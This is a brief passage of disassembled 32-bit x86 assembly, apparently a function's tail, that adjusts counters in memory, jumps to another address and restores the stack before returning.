add dword [esi], 0xfffffffe
jmp 0x1000c6bb
mov eax, dword [ebp + 0x14]
inc dword [eax]
pop esi
mov esp, ebp
pop ebp
ret